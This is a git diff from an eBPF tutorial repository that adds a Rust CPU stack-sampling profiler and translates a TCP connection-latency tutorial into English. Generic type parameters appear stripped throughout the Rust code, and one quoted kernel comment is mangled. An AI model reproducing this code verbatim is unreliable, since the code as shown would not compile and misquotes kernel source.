bpf_get_stack(ctx, event->kstack, sizeof(event->kstack), 0); - event->ustack_sz = bpf_get_stack(ctx, event->ustack, sizeof(event->ustack), BPF_F_USER_STACK); + event->ustack_sz = + bpf_get_stack(ctx, event->ustack, sizeof(event->ustack), BPF_F_USER_STACK); bpf_ringbuf_submit(event, 0); diff --git a/src/12-profile/profile.h b/src/12-profile/src/bpf/profile.h similarity index 91% rename from src/12-profile/profile.h rename to src/12-profile/src/bpf/profile.h index a651839c..5536ffdf 100644 --- a/src/12-profile/profile.h +++ b/src/12-profile/src/bpf/profile.h @@ -8,7 +8,7 @@ #endif #ifndef MAX_STACK_DEPTH -#define MAX_STACK_DEPTH 128 +#define MAX_STACK_DEPTH 128 #endif typedef __u64 stack_trace_t[MAX_STACK_DEPTH]; @@ -16,6 +16,7 @@ typedef __u64 stack_trace_t[MAX_STACK_DEPTH]; struct stacktrace_event { __u32 pid; __u32 cpu_id; + __u64 timestamp; char comm[TASK_COMM_LEN]; __s32 kstack_sz; __s32 ustack_sz; diff --git a/src/12-profile/src/event.rs b/src/12-profile/src/event.rs new file mode 100644 index 00000000..d07892b8 --- /dev/null +++ b/src/12-profile/src/event.rs @@ -0,0 +1,309 @@ +use std::mem; +use std::time::{SystemTime, UNIX_EPOCH}; +use blazesym::symbolize; +use nix::sys::sysinfo; + +pub const MAX_STACK_DEPTH: usize = 128; +pub const TASK_COMM_LEN: usize = 16; +const ADDR_WIDTH: usize = 16; + +// A Rust version of stacktrace_event in profile.h +#[repr(C)] +pub struct StacktraceEvent { + pub pid: u32, + pub cpu_id: u32, + pub timestamp: u64, + pub comm: [u8; TASK_COMM_LEN], + pub kstack_size: i32, + pub ustack_size: i32, + pub kstack: [u64; MAX_STACK_DEPTH], + pub ustack: [u64; MAX_STACK_DEPTH], +} + +pub enum OutputFormat { + Standard, + FoldedExtended, +} + +pub struct EventHandler { + symbolizer: symbolize::Symbolizer, + format: OutputFormat, + boot_time_ns: u64, +} + +impl EventHandler { + pub fn new(format: OutputFormat) -> Self { + // Get system uptime to calculate boot time + let boot_time_ns = Self::get_boot_time_ns(); + + Self { + symbolizer: symbolize::Symbolizer::new(), + format, + boot_time_ns, + } + } + + fn get_boot_time_ns() -> u64 { + // Get current Unix timestamp in nanoseconds + let now = SystemTime::now() + .duration_since(UNIX_EPOCH) + .expect("System time before Unix epoch"); + let now_ns = now.as_nanos() as u64; + + // Get system uptime in nanoseconds + let info = sysinfo::sysinfo().expect("Failed to get sysinfo"); + let uptime_ns = (info.uptime().as_secs_f64() * 1_000_000_000.0) as u64; + + // Boot time = current time - uptime + now_ns - uptime_ns + } + + pub fn handle(&self, data: &[u8]) -> ::std::os::raw::c_int { + if data.len() != mem::size_of::() { + eprintln!( + "Invalid size {} != {}", + data.len(), + mem::size_of::() + ); + return 1; + } + + let event = unsafe { &*(data.as_ptr() as *const StacktraceEvent) }; + + if event.kstack_size <= 0 && event.ustack_size <= 0 { + return 1; + } + + match self.format { + OutputFormat::Standard => self.handle_standard(event), + OutputFormat::FoldedExtended => self.handle_folded_extended(event), + } + + 0 + } + + // Helper to extract stack slice + fn get_stack_slice<'a>(stack: &'a [u64; MAX_STACK_DEPTH], size: i32) -> &'a [u64] { + if size > 0 { + &stack[0..(size as usize / mem::size_of::())] + } else { + &[] + } + } + + // Helper to get command name + fn get_comm_str(comm: &[u8; TASK_COMM_LEN]) -> &str { + std::str::from_utf8(comm) + .unwrap_or("") + .trim_end_matches('\0') + } + + fn handle_standard(&self, event: &StacktraceEvent) { + let comm = Self::get_comm_str(&event.comm); + // Convert kernel timestamp to Unix timestamp + let unix_timestamp_ns = event.timestamp + self.boot_time_ns; + let timestamp_sec = unix_timestamp_ns / 1_000_000_000; + let timestamp_nsec = unix_timestamp_ns % 1_000_000_000; + println!("[{}.{:09}] COMM: {} (pid={}) @ CPU {}", + timestamp_sec, timestamp_nsec, comm, event.pid, event.cpu_id); + + if event.kstack_size > 0 { + println!("Kernel:"); + let kstack = Self::get_stack_slice(&event.kstack, event.kstack_size); + show_stack_trace(kstack, &self.symbolizer, 0); + } else { + println!("No Kernel Stack"); + } + + if event.ustack_size > 0 { + println!("Userspace:"); + let ustack = Self::get_stack_slice(&event.ustack, event.ustack_size); + show_stack_trace(ustack, &self.symbolizer, event.pid); + } else { + println!("No Userspace Stack"); + } + + println!(); + } + + fn handle_folded_extended(&self, event: &StacktraceEvent) { + let comm = Self::get_comm_str(&event.comm); + let tid = event.pid; // For single-threaded processes, TID = PID + + let mut stack_frames = Vec::new(); + + // Process user stack (if present) + if event.ustack_size > 0 { + let ustack = Self::get_stack_slice(&event.ustack, event.ustack_size); + let user_frames = symbolize_stack_to_vec(&self.symbolizer, ustack, event.pid); + + // Add user frames in reverse order (top to bottom) + for frame in user_frames.iter().rev() { + stack_frames.push(frame.clone()); + } + } + + // Process kernel stack (if present) + if event.kstack_size > 0 { + let kstack = Self::get_stack_slice(&event.kstack, event.kstack_size); + let kernel_frames = symbolize_stack_to_vec(&self.symbolizer, kstack, 0); + + // Add kernel frames with [k] suffix in reverse order (top to bottom) + for frame in kernel_frames.iter().rev() { + stack_frames.push(format!("{}_[k]", frame)); + } + } + + // Format: timestamp_ns comm pid tid cpu stack1;stack2;stack3 + // Convert kernel timestamp to Unix timestamp + let unix_timestamp_ns = event.timestamp + self.boot_time_ns; + println!( + "{} {} {} {} {} {}", + unix_timestamp_ns, + comm, + event.pid, + tid, + event.cpu_id, + stack_frames.join(";") + ); + } +} + + +fn print_frame( + name: &str, + addr_info: Option<(blazesym::Addr, blazesym::Addr, usize)>, + code_info: &Option, +) { + let code_info = code_info.as_ref().map(|code_info| { + let path = code_info.to_path(); + let path = path.display(); + + match (code_info.line, code_info.column) { + (Some(line), Some(col)) => format!(" {path}:{line}:{col}"), + (Some(line), None) => format!(" {path}:{line}"), + (None, _) => format!(" {path}"), + } + }); + + if let Some((input_addr, addr, offset)) = addr_info { + // If we have various address information bits we have a new symbol. + println!( + "{input_addr:#0width$x}: {name} @ {addr:#x}+{offset:#x}{code_info}", + code_info = code_info.as_deref().unwrap_or(""), + width = ADDR_WIDTH + ) + } else { + // Otherwise we are dealing with an inlined call. + println!( + "{:width$} {name}{code_info} [inlined]", + " ", + code_info = code_info + .map(|info| format!(" @{info}")) + .as_deref() + .unwrap_or(""), + width = ADDR_WIDTH + ) + } +} + +// Helper function to convert stack addresses for blazesym +fn convert_stack_addresses(stack: &[u64]) -> Vec { + if mem::size_of::() != mem::size_of::() { + stack + .iter() + .copied() + .map(|addr| addr as blazesym::Addr) + .collect::>() + } else { + // For same-sized types, still need to return owned data for consistency + stack.iter().copied().map(|addr| addr as blazesym::Addr).collect() + } +} + +// Get the stack addresses as a slice (avoiding lifetime issues) +fn get_stack_slice<'a>(stack: &'a [u64], converted: &'a [blazesym::Addr]) -> &'a [blazesym::Addr] { + if mem::size_of::() != mem::size_of::() { + converted + } else { + // SAFETY: `Addr` has the same size as `u64`, so it can be trivially and + // safely converted. + unsafe { mem::transmute::<_, &[blazesym::Addr]>(stack) } + } +} + +// Get source for symbolization based on PID (0 means kernel) +fn get_symbolize_source(pid: u32) -> symbolize::source::Source<'static> { + if pid == 0 { + symbolize::source::Source::from(symbolize::source::Kernel::default()) + } else { + symbolize::source::Source::from(symbolize::source::Process::new(pid.into())) + } +} + +// Symbolize stack and return as vector of strings for folded format +fn symbolize_stack_to_vec(symbolizer: &symbolize::Symbolizer, stack: &[u64], pid: u32) -> Vec { + let converted = convert_stack_addresses(stack); + let stack_addrs = get_stack_slice(stack, &converted); + let src = get_symbolize_source(pid); + + let syms = match symbolizer.symbolize(&src, symbolize::Input::AbsAddr(stack_addrs)) { + Ok(syms) => syms, + Err(_) => { + // Return addresses if symbolization fails + return stack_addrs.iter().map(|addr| format!("{:#x}", addr)).collect(); + } + }; + + let mut result = Vec::new(); + for (addr, sym) in stack_addrs.iter().copied().zip(syms) { + match sym { + symbolize::Symbolized::Sym(symbolize::Sym { + name, + .. + }) => { + result.push(name.to_string()); + } + symbolize::Symbolized::Unknown(..) => { + result.push(format!("{:#x}", addr)); + } + } + } + result +} + +// Pid 0 means a kernel space stack. +fn show_stack_trace(stack: &[u64], symbolizer: &symbolize::Symbolizer, pid: u32) { + let converted = convert_stack_addresses(stack); + let stack_addrs = get_stack_slice(stack, &converted); + let src = get_symbolize_source(pid); + + let syms = match symbolizer.symbolize(&src, symbolize::Input::AbsAddr(stack_addrs)) { + Ok(syms) => syms, + Err(err) => { + eprintln!(" failed to symbolize addresses: {err:#}"); + return; + } + }; + + for (input_addr, sym) in stack_addrs.iter().copied().zip(syms) { + match sym { + symbolize::Symbolized::Sym(symbolize::Sym { + name, + addr, + offset, + code_info, + inlined, + .. + }) => { + print_frame(&name, Some((input_addr, addr, offset)), &code_info); + for frame in inlined.iter() { + print_frame(&frame.name, None, &frame.code_info); + } + } + symbolize::Symbolized::Unknown(..) => { + println!("{input_addr:#0width$x}: ", width = ADDR_WIDTH) + } + } + } +} \ No newline at end of file diff --git a/src/12-profile/src/main.rs b/src/12-profile/src/main.rs new file mode 100644 index 00000000..8ede49f4 --- /dev/null +++ b/src/12-profile/src/main.rs @@ -0,0 +1,95 @@ +use std::mem::MaybeUninit; +use std::time::Duration; + +use clap::ArgAction; +use clap::Parser; + +use libbpf_rs::skel::OpenSkel as _; +use libbpf_rs::skel::SkelBuilder as _; + +use tracing::subscriber::set_global_default as set_global_subscriber; +use tracing_subscriber::filter::LevelFilter; +use tracing_subscriber::fmt::format::FmtSpan; +use tracing_subscriber::fmt::time::SystemTime; +use tracing_subscriber::FmtSubscriber; + +mod profile { + include!(concat!(env!("OUT_DIR"), "/profile.skel.rs")); +} +mod syscall; +mod event; +mod perf; + +use profile::*; + +#[derive(Parser, Debug)] +struct Args { + /// Sampling frequency + #[arg(short, default_value_t = 50)] + freq: u64, + /// Increase verbosity (can be supplied multiple times). + #[arg(short = 'v', long = "verbose", global = true, action = ArgAction::Count)] + verbosity: u8, + /// Use software event for triggering stack trace capture. + /// + /// This can be useful for compatibility reasons if hardware event is not available + /// (which could happen in a virtual machine, for example). + #[arg(long = "sw-event")] + sw_event: bool, + /// Filter by PID (optional) + #[arg(short = 'p', long = "pid")] + pid: Option, + /// Output in extended folded format (timestamp_ns comm pid tid cpu stack1;stack2;...) + #[arg(short = 'E', long = "fold-extend")] + fold_extend: bool, +} + +fn main() -> Result<(), libbpf_rs::Error> { + let args = Args::parse(); + let level = match args.verbosity { + 0 => LevelFilter::WARN, + 1 => LevelFilter::INFO, + 2 => LevelFilter::DEBUG, + _ => LevelFilter::TRACE, + }; + + let subscriber = FmtSubscriber::builder() + .with_max_level(level) + .with_span_events(FmtSpan::FULL) + .with_timer(SystemTime) + .finish(); + let () = set_global_subscriber(subscriber).expect("failed to set tracing subscriber"); + + let freq = if args.freq < 1 { 1 } else { args.freq }; + + let skel_builder = ProfileSkelBuilder::default(); + let mut open_object = MaybeUninit::uninit(); + let open_skel = skel_builder.open(&mut open_object).unwrap(); + let skel = open_skel.load().unwrap(); + + let pefds = perf::init_perf_monitor(freq, args.sw_event, args.pid)?; + let _links = perf::attach_perf_event(&pefds, &skel.progs.profile); + + let mut builder = libbpf_rs::RingBufferBuilder::new(); + + let output_format = if args.fold_extend { + event::OutputFormat::FoldedExtended + } else { + event::OutputFormat::Standard + }; + + let event_handler = event::EventHandler::new(output_format); + + builder + .add(&skel.maps.events, move |data| { + event_handler.handle(data) + }) + .unwrap(); + + let ringbuf = builder.build().unwrap(); + while ringbuf.poll(Duration::MAX).is_ok() {} + + perf::close_perf_events(pefds)?; + + Ok(()) +} diff --git a/src/12-profile/src/perf.rs b/src/12-profile/src/perf.rs new file mode 100644 index 00000000..2644f4c7 --- /dev/null +++ b/src/12-profile/src/perf.rs @@ -0,0 +1,63 @@ +use std::io; +use std::mem; +use nix::unistd::close; +use libbpf_rs::ErrorExt as _; + +use crate::syscall; + +pub fn init_perf_monitor(freq: u64, sw_event: bool, pid_filter: Option) -> Result, libbpf_rs::Error> { + let nprocs = libbpf_rs::num_possible_cpus().unwrap(); + let pid = pid_filter.unwrap_or(-1); + let attr = syscall::perf_event_attr { + _type: if sw_event { + syscall::PERF_TYPE_SOFTWARE + } else { + syscall::PERF_TYPE_HARDWARE + }, + size: mem::size_of::() as u32, + config: if sw_event { + syscall::PERF_COUNT_SW_CPU_CLOCK + } else { + syscall::PERF_COUNT_HW_CPU_CYCLES + }, + sample: syscall::sample_un { sample_freq: freq }, + flags: 1 << 10, // freq = 1 + ..Default::default() + }; + (0..nprocs) + .map(|cpu| { + let fd = syscall::perf_event_open(&attr, pid, cpu as i32, -1, 0) as i32; + if fd == -1 { + let mut error_context = "Failed to open perf event."; + let os_error = io::Error::last_os_error(); + if !sw_event && os_error.kind() == io::ErrorKind::NotFound { + error_context = "Failed to open perf event.\n\ + Try running the profile example with the `--sw-event` option."; + } + Err(libbpf_rs::Error::from(os_error)).context(error_context) + } else { + Ok(fd) + } + }) + .collect() +} + +pub fn attach_perf_event( + pefds: &[i32], + prog: &libbpf_rs::ProgramMut, +) -> Vec> { + pefds + .iter() + .map(|pefd| prog.attach_perf_event(*pefd)) + .collect() +} + +pub fn close_perf_events(pefds: Vec) -> Result<(), libbpf_rs::Error> { + for pefd in pefds { + close(pefd) + .map_err(io::Error::from) + .map_err(libbpf_rs::Error::from) + .context("failed to close perf event")?; + } + Ok(()) +} \ No newline at end of file diff --git a/src/12-profile/src/syscall.rs b/src/12-profile/src/syscall.rs new file mode 100644 index 00000000..c12fc738 --- /dev/null +++ b/src/12-profile/src/syscall.rs @@ -0,0 +1,90 @@ +use std::mem; + +extern crate libc; + +#[repr(C)] +pub union sample_un { + pub sample_period: u64, + pub sample_freq: u64, +} + +#[repr(C)] +pub union wakeup_un { + pub wakeup_events: u32, + pub wakeup_atermark: u32, +} + +#[repr(C)] +pub union bp_1_un { + pub bp_addr: u64, + pub kprobe_func: u64, + pub uprobe_path: u64, + pub config1: u64, +} + +#[repr(C)] +pub union bp_2_un { + pub bp_len: u64, + pub kprobe_addr: u64, + pub probe_offset: u64, + pub config2: u64, +} + +#[repr(C)] +pub struct perf_event_attr { + pub _type: u32, + pub size: u32, + pub config: u64, + pub sample: sample_un, + pub sample_type: u64, + pub read_format: u64, + pub flags: u64, + pub wakeup: wakeup_un, + pub bp_type: u32, + pub bp_1: bp_1_un, + pub bp_2: bp_2_un, + pub branch_sample_type: u64, + pub sample_regs_user: u64, + pub sample_stack_user: u32, + pub clockid: i32, + pub sample_regs_intr: u64, + pub aux_watermark: u32, + pub sample_max_stack: u16, + pub __reserved_2: u16, + pub aux_sample_size: u32, + pub __reserved_3: u32, +} + +impl Default for perf_event_attr { + fn default() -> Self { + unsafe { mem::zeroed() } + } +} + +pub const PERF_TYPE_HARDWARE: u32 = 0; +pub const PERF_TYPE_SOFTWARE: u32 = 1; +pub const PERF_COUNT_HW_CPU_CYCLES: u64 = 0; +pub const PERF_COUNT_SW_CPU_CLOCK: u64 = 0; + +extern "C" { + fn syscall(number: libc::c_long, ...) -> libc::c_long; +} + +pub fn perf_event_open( + hw_event: &perf_event_attr, + pid: libc::pid_t, + cpu: libc::c_int, + group_fd: libc::c_int, + flags: libc::c_ulong, +) -> libc::c_long { + unsafe { + syscall( + libc::SYS_perf_event_open, + hw_event as *const perf_event_attr, + pid, + cpu, + group_fd, + flags, + ) + } +} diff --git a/src/13-tcpconnlat/.config b/src/13-tcpconnlat/.config new file mode 100644 index 00000000..e23ad1a4 --- /dev/null +++ b/src/13-tcpconnlat/.config @@ -0,0 +1 @@ +level=Advance diff --git a/src/13-tcpconnlat/README.md b/src/13-tcpconnlat/README.md index e0694147..3313148e 100644 --- a/src/13-tcpconnlat/README.md +++ b/src/13-tcpconnlat/README.md @@ -1,50 +1,52 @@ -# eBPF入门开发实践教程十三:统计 TCP 连接延时,并使用 libbpf 在用户态处理数据 +# eBPF Tutorial by Example 13: Statistics of TCP Connection Delay with libbpf -eBPF (Extended Berkeley Packet Filter) 是一项强大的网络和性能分析工具,被应用在 Linux 内核上。eBPF 允许开发者动态加载、更新和运行用户定义的代码,而无需重启内核或更改内核源代码。 +eBPF (Extended Berkeley Packet Filter) is a powerful network and performance analysis tool used in the Linux kernel. eBPF allows developers to dynamically load, update, and run user-defined code without restarting the kernel or changing the kernel source code. -本文是 eBPF 入门开发实践教程的第十三篇,主要介绍如何使用 eBPF 统计 TCP 连接延时,并使用 libbpf 在用户态处理数据。 +This article is the thirteenth installment of the eBPF Tutorial by Example, mainly about how to use eBPF to statistics TCP connection delay and process data in user space using libbpf. -## 背景 +> The complete source code: -在进行后端开发时,不论使用何种编程语言,我们都常常需要调用 MySQL、Redis 等数据库,或执行一些 RPC 远程调用,或者调用其他的 RESTful API。这些调用的底层,通常都是基于 TCP 协议进行的。原因是 TCP 协议具有可靠连接、错误重传、拥塞控制等优点,因此在网络传输层协议中,TCP 的应用广泛程度超过了 UDP。然而,TCP 也有一些缺点,如建立连接的延时较长。因此,也出现了一些替代方案,例如 QUIC(Quick UDP Internet Connections,快速 UDP 网络连接)。 +## Background -分析 TCP 连接延时对网络性能分析、优化以及故障排查都非常有用。 +When developing backends, regardless of the programming language used, we often need to call databases such as MySQL and Redis, perform RPC remote calls, or call other RESTful APIs. The underlying implementation of these calls is usually based on the TCP protocol. This is because TCP protocol has advantages such as reliable connection, error retransmission, congestion control, etc., so TCP is more widely used in network transport layer protocols than UDP. However, TCP also has some drawbacks, such as longer connection establishment delay. Therefore, some alternative solutions have emerged, such as QUIC (Quick UDP Internet Connections). -## tcpconnlat 工具概述 +Analyzing TCP connection delay is very useful for network performance analysis, optimization, and troubleshooting. -`tcpconnlat` 这个工具能够跟踪内核中执行活动 TCP 连接的函数(如通过 `connect()` 系统调用),并测量并显示连接延时,即从发送 SYN 到收到响应包的时间。 +## Overview of tcpconnlat Tool -### TCP 连接原理 +The `tcpconnlat` tool can trace the functions in the kernel that perform active TCP connections (such as using the `connect()` system call), measure and display connection delay, i.e., the time from sending SYN to receiving response packets. -TCP 连接的建立过程,常被称为“三次握手”(Three-way Handshake)。以下是整个过程的步骤: +### TCP Connection Principle -1. 客户端向服务器发送 SYN 包:客户端通过 `connect()` 系统调用发出 SYN。这涉及到本地的系统调用以及软中断的 CPU 时间开销。 -2. SYN 包传送到服务器:这是一次网络传输,涉及到的时间取决于网络延迟。 -3. 服务器处理 SYN 包:服务器内核通过软中断接收包,然后将其放入半连接队列,并发送 SYN/ACK 响应。这主要涉及 CPU 时间开销。 -4. SYN/ACK 包传送到客户端:这是另一次网络传输。 -5. 客户端处理 SYN/ACK:客户端内核接收并处理 SYN/ACK 包,然后发送 ACK。这主要涉及软中断处理开销。 -6. ACK 包传送到服务器:这是第三次网络传输。 -7. 服务器接收 ACK:服务器内核接收并处理 ACK,然后将对应的连接从半连接队列移动到全连接队列。这涉及到一次软中断的 CPU 开销。 -8. 唤醒服务器端用户进程:被 `accept()` 系统调用阻塞的用户进程被唤醒,然后从全连接队列中取出来已经建立好的连接。这涉及一次上下文切换的CPU开销。 +The process of establishing a TCP connection is often referred to as the "three-way handshake". Here are the steps of the entire process: -完整的流程图如下所示: +1. Client sends SYN packet to the server: The client sends SYN through the `connect()` system call. This involves local system call and CPU time cost of software interrupts. +2. SYN packet is transmitted to the server: This is a network transmission that depends on network latency. +3. Server handles the SYN packet: The server kernel receives the packet through a software interrupt, then puts it into the listen queue and sends SYN/ACK response. This mainly involves CPU time cost. +4. SYN/ACK packet is transmitted to the client: This is another network transmission. +5. Client handles the SYN/ACK: The client kernel receives and handles the SYN/ACK packet, then sends ACK. This mainly involves software interrupt handling cost. +6. ACK packet is transmitted to the server: This is the third network transmission. +7. Server receives ACK: The server kernel receives and handles the ACK, then moves the corresponding connection from the listen queue to the established queue. This involves CPU time cost of a software interrupt. +8. Wake up the server-side user process: The user process blocked by the `accept()` system call is awakened, and then the established connection is taken out from the established queue. This involves CPU cost of a context switch. + +The complete flowchart is shown below: ![tcpconnlat1](tcpconnlat1.png) -在客户端视角,在正常情况下一次TCP连接总的耗时也就就大约是一次网络RTT的耗时。但在某些情况下,可能会导致连接时的网络传输耗时上涨、CPU处理开销增加、甚至是连接失败。这种时候在发现延时过长之后,就可以结合其他信息进行分析。 +From the client's perspective, under normal circumstances, the total time for a TCP connection is approximately the time consumed by one network round-trip. However, in some cases, it may cause an increase in network transmission time, an increase in CPU processing overhead, or even connection failure. When a long delay is detected, it can be analyzed in conjunction with other information. -## tcpconnlat 的 eBPF 实现 +## eBPF Implementation of tcpconnlat -为了理解 TCP 的连接建立过程,我们需要理解 Linux 内核在处理 TCP 连接时所使用的两个队列: +To understand the process of establishing a TCP connection, we need to understand two queues used by the Linux kernel when handling TCP connections: -- 半连接队列(SYN 队列):存储那些正在进行三次握手操作的 TCP 连接,服务器收到 SYN 包后,会将该连接信息存储在此队列中。 -- 全连接队列(Accept 队列):存储已经完成三次握手,等待应用程序调用 `accept()` 函数的 TCP 连接。服务器在收到 ACK 包后,会创建一个新的连接并将其添加到此队列。 +- Listen queue (SYN queue): Stores TCP connections that are in the process of performing three-way handshake. After the server receives the SYN packet, it stores the connection information in this queue. +- Established queue (Accept queue): Stores TCP connections that have completed three-way handshake and are waiting for the application to call the `accept()` function. After the server receives the ACK packet, it creates a new connection and adds it to this queue. -理解了这两个队列的用途,我们就可以开始探究 tcpconnlat 的具体实现。tcpconnlat 的实现可以分为内核态和用户态两个部分,其中包括了几个主要的跟踪点:`tcp_v4_connect`, `tcp_v6_connect` 和 `tcp_rcv_state_process`。 +With an understanding of the purpose of these two queues, we can begin to explore the specific implementation of tcpconnlat. The implementation of tcpconnlat can be divided into two parts: kernel space and user space, which include several main trace points: `tcp_v4_connect`, `tcp_v6_connect`, and `tcp_rcv_state_process`. -这些跟踪点主要位于内核中的 TCP/IP 网络栈。当执行相关的系统调用或内核函数时,这些跟踪点会被激活,从而触发 eBPF 程序的执行。这使我们能够捕获和测量 TCP 连接建立的整个过程。 +These trace points are mainly located in the TCP/IP network stack in the kernel. When executing the corresponding system call or kernel function, these trace points are activated, triggering the execution of eBPF programs. This allows us to capture and measure the entire process of establishing a TCP connection. -让我们先来看一下这些挂载点的源代码: +Let's take a look at the source code of these mounting points first: ```c SEC("kprobe/tcp_v4_connect") @@ -56,23 +58,23 @@ int BPF_KPROBE(tcp_v4_connect, struct sock *sk) SEC("kprobe/tcp_v6_connect") int BPF_KPROBE(tcp_v6_connect, struct sock *sk) { - return trace_connect(sk); + return trace_connect(sk); } SEC("kprobe/tcp_rcv_state_process") int BPF_KPROBE(tcp_rcv_state_process, struct sock *sk) { - return handle_tcp_rcv_state_process(ctx, sk); + return handle_tcp_rcv_state_process(ctx, sk); } ``` -这段代码展示了三个内核探针(kprobe)的定义。`tcp_v4_connect` 和 `tcp_v6_connect` 在对应的 IPv4 和 IPv6 连接被初始化时被触发,调用 `trace_connect()` 函数,而 `tcp_rcv_state_process` 在内核处理 TCP 连接状态变化时被触发,调用 `handle_tcp_rcv_state_process()` 函数。 +This code snippet shows the definition of three kernel probes (kprobe). `tcp_v4_connect` and `tcp_v6_connect` are triggered when the corresponding IPv4 and IPv6 connections are initialized, invoking the `trace_connect()` function. On the other hand, `tcp_rcv_state_process` is triggered when the TCP connection state changes in the kernel, calling the `handle_tcp_rcv_state_process()` function. -接下来的部分将分为两大块:一部分是对这些挂载点内核态部分的分析,我们将解读内核源代码来详细说明这些函数如何工作;另一部分是用户态的分析,将关注 eBPF 程序如何收集这些挂载点的数据,以及如何与用户态程序进行交互。 +The following section will be divided into two parts: one part analyzes the kernel part of these mount points, where we will delve into the kernel source code to explain how these functions work in detail. The other part analyzes the user part, focusing on how eBPF programs collect data from these mount points and interact with user-space programs. -### tcp_v4_connect 函数解析 +### Analysis of tcp_v4_connect function -`tcp_v4_connect`函数是Linux内核处理TCP的IPv4连接请求的主要方式。当用户态程序通过`socket`系统调用创建了一个套接字后,接着通过`connect`系统调用尝试连接到远程服务器,此时就会触发`tcp_v4_connect`函数。 +The `tcp_v4_connect` function is the main way that the Linux kernel handles TCP IPv4 connection requests. When a user-space program creates a socket through the `socket` system call and then attempts to connect to a remote server through the `connect` system call, the `tcp_v4_connect` function is triggered. ```c /* This will initiate an outgoing connection. */ @@ -122,7 +124,6 @@ int tcp_v4_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len) ip_rt_put(rt); return -ENETUNREACH; } - if (!inet_opt || !inet_opt->opt.srr) daddr = fl4->daddr; @@ -205,38 +206,37 @@ int tcp_v4_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len) return 0; failure: - /* - * This unhashes the socket and releases the local port, - * if necessary. - */ - tcp_set_state(sk, TCP_CLOSE); - inet_bhash2_reset_saddr(sk); - ip_rt_put(rt); - sk->sk_route_caps = 0; - inet->inet_dport = 0; - return err; + /*".* This unhashes the socket and releases the local port, + * if necessary. + */ + tcp_set_state(sk, TCP_CLOSE); + inet_bhash2_reset_saddr(sk); + ip_rt_put(rt); + sk->sk_route_caps = 0; + inet->inet_dport = 0; + return err; } EXPORT_SYMBOL(tcp_v4_connect); ``` -参考链接: +Reference link: -接下来,我们一步步分析这个函数: +Next, let's analyze this function step by step: -首先,这个函数接收三个参数:一个套接字指针`sk`,一个指向套接字地址结构的指针`uaddr`和地址的长度`addr_len`。 +First, this function takes three parameters: a socket pointer `sk`, a pointer to the socket address structure `uaddr`, and the length of the address `addr_len`. ```c int tcp_v4_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len) ``` -函数一开始就进行了参数检查,确认地址长度正确,而且地址的协议族必须是IPv4。不满足这些条件会导致函数返回错误。 +The function starts by checking the parameters, making sure the address length is correct and the address family is IPv4. If these conditions are not met, the function returns an error. -接下来,函数获取目标地址,如果设置了源路由选项(这是一个高级的IP特性,通常不会被使用),那么它还会获取源路由的下一跳地址。 +Next, the function retrieves the destination address and, if a source routing option is set (an advanced IP feature that is typically not used), it also retrieves the next hop address for the source route. ```c nexthop = daddr = usin->sin_addr.s_addr; inet_opt = rcu_dereference_protected(inet->inet_opt, - lockdep_sock_is_held(sk)); + lockdep_sock_is_held(sk)); if (inet_opt && inet_opt->opt.srr) { if (!daddr) return -EINVAL; @@ -244,23 +244,23 @@ if (inet_opt && inet_opt->opt.srr) { } ``` -然后,使用这些信息来寻找一个路由到目标地址的路由项。如果不能找到路由项或者路由项指向一个多播或广播地址,函数返回错误。 +Then, using this information, the function looks for a route entry to the destination address. If a route entry cannot be found or the route entry points to a multicast or broadcast address, the function returns an error. -接下来,它更新了源地址,处理了一些TCP时间戳选项的状态,并设置了目标端口和地址。之后,它更新了一些其他的套接字和TCP选项,并设置了连接状态为`SYN-SENT`。 +Next, it updates the source address, handles the state of some TCP timestamp options, and sets the destination port and address. After that, it updates some other socket and TCP options and sets the connection state to `SYN-SENT`. -然后,这个函数使用`inet_hash_connect`函数尝试将套接字添加到已连接的套接字的散列表中。如果这步失败,它会恢复套接字的状态并返回错误。 +Then, the function tries to add the socket to the connected sockets hash table using the `inet_hash_connect` function. If this step fails, it restores the socket state and returns an error. -如果前面的步骤都成功了,接着,使用新的源和目标端口来更新路由项。如果这步失败,它会清理资源并返回错误。 +If all the previous steps succeed, it then updates the route entry with the new source and destination ports. If this step fails, it cleans up resources and returns an error. -接下来,它提交目标信息到套接字,并为之后的分段偏移选择一个安全的随机值。 +Next, it commits the destination information to the socket and selects a secure random value for the sequence offset for future segments. -然后,函数尝试使用TCP Fast Open(TFO)进行连接,如果不能使用TFO或者TFO尝试失败,它会使用普通的TCP三次握手进行连接。 +Then, the function tries to establish the connection using TCP Fast Open (TFO), and if TFO is not available or the TFO attempt fails, it falls back to the regular TCP three-way handshake for connection. -最后,如果上面的步骤都成功了,函数返回成功,否则,它会清理所有资源并返回错误。 +Finally, if all the above steps succeed, the function returns success; otherwise, it cleans up all resources and returns an error. -总的来说,`tcp_v4_connect`函数是一个处理TCP连接请求的复杂函数,它处理了很多情况,包括参数检查、路由查找、源地址选择、源路由、TCP选项处理、TCP Fast Open,等等。它的主要目标是尽可能安全和有效地建立TCP连接。 +In summary, the `tcp_v4_connect` function is a complex function that handles TCP connection requests. It handles many cases, including parameter checking, route lookup, source address selection, source routing, TCP option handling, TCP Fast Open, and more. Its main goal is to establish TCP connections as safely and efficiently as possible. -### 内核态代码 +### Kernel Code ```c // SPDX-License-Identifier: GPL-2.0 @@ -396,9 +396,9 @@ int BPF_PROG(fentry_tcp_rcv_state_process, struct sock *sk) char LICENSE[] SEC("license") = "GPL"; ``` -这个eBPF(Extended Berkeley Packet Filter)程序主要用来监控并收集TCP连接的建立时间,即从发起TCP连接请求(`connect`系统调用)到连接建立完成(SYN-ACK握手过程完成)的时间间隔。这对于监测网络延迟、服务性能分析等方面非常有用。 +This eBPF (Extended Berkeley Packet Filter) program is mainly used to monitor and collect the time it takes to establish TCP connections, i.e., the time interval from initiating a TCP connection request (connect system call) to the completion of the connection establishment (SYN-ACK handshake process). This is very useful for monitoring network latency, service performance analysis, and other aspects. -首先,定义了两个eBPF maps:`start`和`events`。`start`是一个哈希表,用于存储发起连接请求的进程信息和时间戳,而`events`是一个`PERF_EVENT_ARRAY`类型的map,用于将事件数据传输到用户态。 +First, two eBPF maps are defined: `start` and `events`. `start` is a hash table used to store the process information and timestamp of the initiating connection request, while `events` is a map of type `PERF_EVENT_ARRAY` used to transfer event data to user space. ```c struct { @@ -415,7 +415,7 @@ struct { } events SEC(".maps"); ``` -在`tcp_v4_connect`和`tcp_v6_connect`的kprobe处理函数`trace_connect`中,会记录下发起连接请求的进程信息(进程名、进程ID和当前时间戳),并以socket结构作为key,存储到`start`这个map中。 +In the kprobe handling functions `trace_connect` 